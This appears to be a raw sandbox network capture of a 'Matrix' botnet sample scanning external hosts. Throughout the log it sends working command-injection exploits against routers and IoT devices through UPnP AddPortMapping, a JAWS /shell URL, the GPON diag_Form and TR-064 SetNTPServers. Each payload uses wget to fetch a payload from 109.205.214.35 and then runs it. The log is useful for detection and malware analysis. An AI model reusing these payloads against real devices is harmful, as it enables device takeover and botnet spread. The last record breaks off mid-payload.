Mar 21, 2024 05:23:10.764240026 CET	987	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6d 61 74 72 69 78 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 20 2d 4f 20 6d 61 74 72 69 78 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 61 74 72 69 78 3b 20 2e 2f 6d 61 74 72 69 78 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf matrix; wget http://109.205.214.35/matrixexp.sh -O matrix; chmod 777 matrix; ./matrix realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Mar 21, 2024 05:23:18.444252968 CET	987	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6d 61 74 72 69 78 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 20 2d 4f 20 6d 61 74 72 69 78 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 61 74 72 69 78 3b 20 2e 2f 6d 61 74 72 69 78 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf matrix; wget http://109.205.214.35/matrixexp.sh -O matrix; chmod 777 matrix; ./matrix realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Mar 21, 2024 05:23:33.551362991 CET	987	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6d 61 74 72 69 78 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 20 2d 4f 20 6d 61 74 72 69 78 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 61 74 72 69 78 3b 20 2e 2f 6d 61 74 72 69 78 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf matrix; wget http://109.205.214.35/matrixexp.sh -O matrix; chmod 777 matrix; ./matrix realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
871	192.168.2.13	40230	34.107.17.40	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:03.515002012 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
872	192.168.2.13	60458	145.12.242.145	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:03.527724028 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:23:03.714595079 CET	133	IN	HTTP/1.0 302 Moved Temporarily Location: https:///shell?cd+/tmp;rm+-rf+*;wget+ Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
873	192.168.2.13	54310	94.230.10.113	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:03.560153008 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
874	192.168.2.13	40878	154.23.156.130	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:03.639853954 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:23:05.196306944 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:23:05.492944002 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Thu, 21 Mar 2024 04:23:05 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>
Mar 21, 2024 05:23:07.006918907 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Thu, 21 Mar 2024 04:23:05 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
875	192.168.2.13	53536	62.151.180.44	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:03.683406115 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:23:04.301321030 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:23:04.422668934 CET	525	IN	HTTP/1.1 400 Bad Request Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Thu, 21 Mar 2024 04:22:54 GMT Connection: close Content-Length: 334 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 42 61 64 20 52 65 71 75 65 73 74 20 2d 20 49 6e 76 61 6c 69 64 20 48 6f 73 74 6e 61 6d 65 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 30 2e 20 54 68 65 20 72 65 71 75 65 73 74 20 68 6f 73 74 6e 61 6d 65 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Bad Request</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Bad Request - Invalid Hostname</h2><hr><p>HTTP Error 400. The request hostname is invalid.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
876	192.168.2.13	57534	37.16.29.201	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:03.907215118 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:23:04.180659056 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
877	192.168.2.13	59298	197.203.156.68	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:04.052603006 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
878	192.168.2.13	59732	35.190.100.113	52869

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:04.559041023 CET	987	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6d 61 74 72 69 78 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 20 2d 4f 20 6d 61 74 72 69 78 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 61 74 72 69 78 3b 20 2e 2f 6d 61 74 72 69 78 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf matrix; wget http://109.205.214.35/matrixexp.sh -O matrix; chmod 777 matrix; ./matrix 